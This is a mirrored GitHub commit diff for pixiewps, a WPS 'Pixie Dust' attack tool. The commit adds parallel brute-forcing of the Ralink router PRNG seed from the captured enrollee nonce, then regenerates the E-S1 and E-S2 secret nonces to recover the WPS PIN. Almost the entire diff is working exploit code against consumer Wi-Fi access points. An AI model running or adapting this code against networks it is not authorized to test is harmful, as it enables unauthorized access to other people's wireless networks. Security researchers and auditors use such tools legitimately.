mirror of
https://github.com/wiire-a/pixiewps.git
synced 2025-07-25 23:05:31 +02:00
implement parallel cracking for ralink
since we already had realtek parallelized, let's do the same for ralink too. this commit is the result of a collaborative effort between @wiire-a and myself.
This commit is contained in:
parent
14ad43fa6d
commit
7db5fd84f9
171
src/pixiewps.c
171
src/pixiewps.c
@ -25,6 +25,7 @@
|
||||
#include <getopt.h>
|
||||
#include <pthread.h>
|
||||
#include <limits.h>
|
||||
#include <assert.h>
|
||||
#include <stdarg.h> /* libtommath.c */
|
||||
#if defined(_WIN32) || defined(__WIN32__)
|
||||
#include <windows.h>
|
||||
@ -77,24 +78,24 @@ static const struct option long_options[] = {
|
||||
{ 0, 0, 0, 0 }
|
||||
};
|
||||
|
||||
#define SECS_PER_JOB_BLOCK 1000
|
||||
#define SEEDS_PER_JOB_BLOCK 1000
|
||||
|
||||
struct crack_job {
|
||||
pthread_t thr;
|
||||
time_t start;
|
||||
uint32_t start;
|
||||
};
|
||||
|
||||
static struct job_control {
|
||||
int jobs;
|
||||
time_t end;
|
||||
int mode;
|
||||
uint32_t end;
|
||||
uint32_t randr_enonce[4];
|
||||
struct crack_job *crack_jobs;
|
||||
volatile uint32_t nonce_seed;
|
||||
} job_control;
|
||||
|
||||
static void *crack_thread(void *arg) {
|
||||
static void crack_thread_rtl(struct crack_job *j) {
|
||||
struct glibc_lazyprng glibc_lazyprng;
|
||||
struct crack_job *j = arg;
|
||||
uint32_t seed = j->start;
|
||||
uint32_t limit = job_control.end;
|
||||
uint32_t tmp[4];
|
||||
@ -113,14 +114,90 @@ static void *crack_thread(void *arg) {
|
||||
|
||||
seed--;
|
||||
|
||||
if (seed < j->start - SECS_PER_JOB_BLOCK) {
|
||||
long long tmp = j->start - SECS_PER_JOB_BLOCK * job_control.jobs;
|
||||
if (seed < j->start - SEEDS_PER_JOB_BLOCK) {
|
||||
long long tmp = j->start - SEEDS_PER_JOB_BLOCK * job_control.jobs;
|
||||
if (tmp < 0) break;
|
||||
j->start = tmp;
|
||||
seed = j->start;
|
||||
if (seed < limit) break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
struct ralink_randstate {
|
||||
uint32_t sreg;
|
||||
};
|
||||
|
||||
static unsigned char ralink_randbyte(struct ralink_randstate *state) {
|
||||
unsigned char r = 0, result;
|
||||
|
||||
if (state->sreg == 0)
|
||||
state->sreg = 1;
|
||||
|
||||
for (int i = 0; i< 8; i++) {
|
||||
if (state->sreg & 0x00000001) {
|
||||
state->sreg = ((state->sreg ^ 0x80000057) >> 1) | 0x80000000;
|
||||
result = 1;
|
||||
} else {
|
||||
state->sreg = state->sreg >> 1;
|
||||
result = 0;
|
||||
}
|
||||
r = (r << 1) | result;
|
||||
}
|
||||
return r;
|
||||
}
|
||||
|
||||
static int crack_rt(uint32_t start, uint32_t end, uint32_t *result) {
|
||||
uint32_t seed;
|
||||
struct ralink_randstate prng;
|
||||
unsigned char testnonce[16] = {0};
|
||||
unsigned char *search_nonce = (void*) job_control.randr_enonce;
|
||||
int i;
|
||||
|
||||
for (seed = start; seed < end; seed++) {
|
||||
prng.sreg = seed;
|
||||
testnonce[0] = ralink_randbyte(&prng);
|
||||
if (testnonce[0] != search_nonce[0]) continue;
|
||||
for (i = 1; i < 4; i++) testnonce[i] = ralink_randbyte(&prng);
|
||||
if(memcmp(testnonce, search_nonce, 4)) continue;
|
||||
for (i = 4; i < 16; i++) testnonce[i] = ralink_randbyte(&prng);
|
||||
if(!memcmp(testnonce, search_nonce, 16)) {
|
||||
*result = seed;
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void crack_thread_rt(struct crack_job *j) {
|
||||
uint64_t tmp;
|
||||
uint32_t start = j->start, end;
|
||||
uint32_t res;
|
||||
|
||||
while (!job_control.nonce_seed) {
|
||||
tmp = (uint64_t) start + (uint64_t) SEEDS_PER_JOB_BLOCK;
|
||||
if (tmp > (uint64_t) job_control.end) tmp = job_control.end;
|
||||
end = tmp;
|
||||
|
||||
if (crack_rt(start, end, &res)) {
|
||||
job_control.nonce_seed = res;
|
||||
DEBUG_PRINT("Seed found %u", (unsigned) res);
|
||||
}
|
||||
tmp = (uint64_t) start + (uint64_t) (SEEDS_PER_JOB_BLOCK * job_control.jobs);
|
||||
if (tmp > (uint64_t) job_control.end) break;
|
||||
start = tmp;
|
||||
}
|
||||
}
|
||||
|
||||
static void *crack_thread(void *arg) {
|
||||
struct crack_job *j = arg;
|
||||
|
||||
if (job_control.mode == RTL819x)
|
||||
crack_thread_rtl(j);
|
||||
else if (job_control.mode == RT)
|
||||
crack_thread_rt(j);
|
||||
else
|
||||
assert(0);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@ -144,28 +221,35 @@ static void setup_thread(int i) {
|
||||
}
|
||||
#endif
|
||||
|
||||
static void init_crack_jobs(struct global *wps) {
|
||||
static void init_crack_jobs(struct global *wps, int mode) {
|
||||
job_control.jobs = wps->jobs;
|
||||
job_control.end = wps->end;
|
||||
job_control.end = (mode == RTL819x) ? wps->end : 0xffffffffu;
|
||||
job_control.mode = mode;
|
||||
job_control.nonce_seed = 0;
|
||||
memset(job_control.randr_enonce, 0, sizeof(job_control.randr_enonce));
|
||||
|
||||
/* Converting enrollee nonce to the sequence may be generated by current random function */
|
||||
int i, j = 0;
|
||||
for (i = 0; i < 4; i++) {
|
||||
job_control.randr_enonce[i] |= wps->e_nonce[j++];
|
||||
job_control.randr_enonce[i] <<= 8;
|
||||
job_control.randr_enonce[i] |= wps->e_nonce[j++];
|
||||
job_control.randr_enonce[i] <<= 8;
|
||||
job_control.randr_enonce[i] |= wps->e_nonce[j++];
|
||||
job_control.randr_enonce[i] <<= 8;
|
||||
job_control.randr_enonce[i] |= wps->e_nonce[j++];
|
||||
}
|
||||
if(mode == RTL819x)
|
||||
for (i = 0; i < 4; i++) {
|
||||
job_control.randr_enonce[i] |= wps->e_nonce[j++];
|
||||
job_control.randr_enonce[i] <<= 8;
|
||||
job_control.randr_enonce[i] |= wps->e_nonce[j++];
|
||||
job_control.randr_enonce[i] <<= 8;
|
||||
job_control.randr_enonce[i] |= wps->e_nonce[j++];
|
||||
job_control.randr_enonce[i] <<= 8;
|
||||
job_control.randr_enonce[i] |= wps->e_nonce[j++];
|
||||
}
|
||||
else
|
||||
memcpy(job_control.randr_enonce, wps->e_nonce, 16);
|
||||
|
||||
job_control.crack_jobs = malloc(wps->jobs * sizeof (struct job_control));
|
||||
time_t curr = wps->start;
|
||||
uint32_t curr = (mode == RTL819x) ? wps->start : 0;
|
||||
uint32_t add = (mode == RTL819x) ? -SEEDS_PER_JOB_BLOCK : SEEDS_PER_JOB_BLOCK;
|
||||
for(i = 0; i < wps->jobs; i++) {
|
||||
job_control.crack_jobs[i].start = curr;
|
||||
setup_thread(i);
|
||||
curr -= SECS_PER_JOB_BLOCK;
|
||||
curr += add;
|
||||
}
|
||||
}
|
||||
|
||||
@ -844,6 +928,42 @@ usage_err:
|
||||
goto memory_err;
|
||||
}
|
||||
|
||||
if (!found_p_mode) {
|
||||
init_crack_jobs(wps, RT);
|
||||
nonce_seed = collect_crack_jobs();
|
||||
if (nonce_seed != 0) {
|
||||
unsigned lfsr = bit_revert(nonce_seed);
|
||||
int k = 8 * 32;
|
||||
while (k--) {
|
||||
unsigned int lsb_mask = ~(lfsr & 1) + 1;
|
||||
lfsr ^= lsb_mask & 0xd4000003;
|
||||
lfsr >>= 1;
|
||||
lfsr |= lsb_mask & 0x80000000;
|
||||
}
|
||||
struct ralink_randstate prng;
|
||||
prng.sreg = bit_revert(lfsr);
|
||||
s1_seed = prng.sreg;
|
||||
for (int i = 0; i < WPS_NONCE_LEN; i++)
|
||||
wps->e_s1[i] = ralink_randbyte(&prng);
|
||||
s2_seed = prng.sreg;
|
||||
for (int i = 0; i < WPS_NONCE_LEN; i++)
|
||||
wps->e_s2[i] = ralink_randbyte(&prng);
|
||||
|
||||
DEBUG_PRINT("Trying with E-S1: ");
|
||||
DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN);
|
||||
DEBUG_PRINT("Trying with E-S2: ");
|
||||
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
||||
|
||||
r = crack(wps, pin);
|
||||
if (r == PIN_FOUND) {
|
||||
found_p_mode = RT;
|
||||
DEBUG_PRINT("Pin found");
|
||||
} else if (r == MEM_ERROR) {
|
||||
goto memory_err;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* 2 */
|
||||
} else if (p_mode[k] == ECOS_SIMPLE && wps->e_nonce) {
|
||||
|
||||
@ -866,7 +986,7 @@ usage_err:
|
||||
for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S2 */
|
||||
wps->e_s2[i] = (uint8_t) (ecos_rand_simple(&seed) & 0xff);
|
||||
|
||||
DEBUG_PRINT("Seed found");
|
||||
DEBUG_PRINT("Seed found %u", nonce_seed);
|
||||
break;
|
||||
}
|
||||
index++;
|
||||
@ -924,7 +1044,7 @@ usage_err:
|
||||
if (!(wps->e_nonce[0] & 0x80) && !(wps->e_nonce[4] & 0x80) &&
|
||||
!(wps->e_nonce[8] & 0x80) && !(wps->e_nonce[12] & 0x80)) {
|
||||
|
||||
init_crack_jobs(wps);
|
||||
init_crack_jobs(wps, RTL819x);
|
||||
|
||||
#if DEBUG
|
||||
{
|
||||
@ -1178,10 +1298,15 @@ usage_err:
|
||||
if (wps->e_nonce) {
|
||||
if (wps->verbosity > 2) {
|
||||
if ((found_p_mode == ECOS_SIMPLE || (found_p_mode == RTL819x && nonce_seed)
|
||||
|| found_p_mode == ECOS_SIMPLEST || found_p_mode == ECOS_KNUTH)) {
|
||||
|| found_p_mode == ECOS_SIMPLEST || found_p_mode == ECOS_KNUTH)) {
|
||||
|
||||
printf("\n [*] Seed N1: %u", nonce_seed);
|
||||
}
|
||||
if (found_p_mode == RT && s1_seed && s2_seed) {
|
||||
printf("\n [*] Seed N1: 0x%08x", nonce_seed);
|
||||
printf("\n [*] Seed ES1: 0x%08x", s1_seed);
|
||||
printf("\n [*] Seed ES2: 0x%08x", s2_seed);
|
||||
}
|
||||
if (found_p_mode == RTL819x && nonce_seed) {
|
||||
time_t seed_time;
|
||||
struct tm ts;
|
||||
|
12
src/utils.h
12
src/utils.h
@ -122,6 +122,18 @@ int get_int(char *in, int *out) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
unsigned int bit_revert(unsigned int v) {
|
||||
int i;
|
||||
unsigned int lsb, n = 0;
|
||||
for (i = 0; i < sizeof(unsigned int) * 8; i++) {
|
||||
lsb = v & 1;
|
||||
v >>= 1;
|
||||
n <<= 1;
|
||||
n |= lsb;
|
||||
}
|
||||
return n;
|
||||
}
|
||||
|
||||
/* Custom timegm function made by Eric S Raymond */
|
||||
time_t c_timegm(register struct tm *t) {
|
||||
register long year;
|
||||
|
Loading…
x
Reference in New Issue
Block a user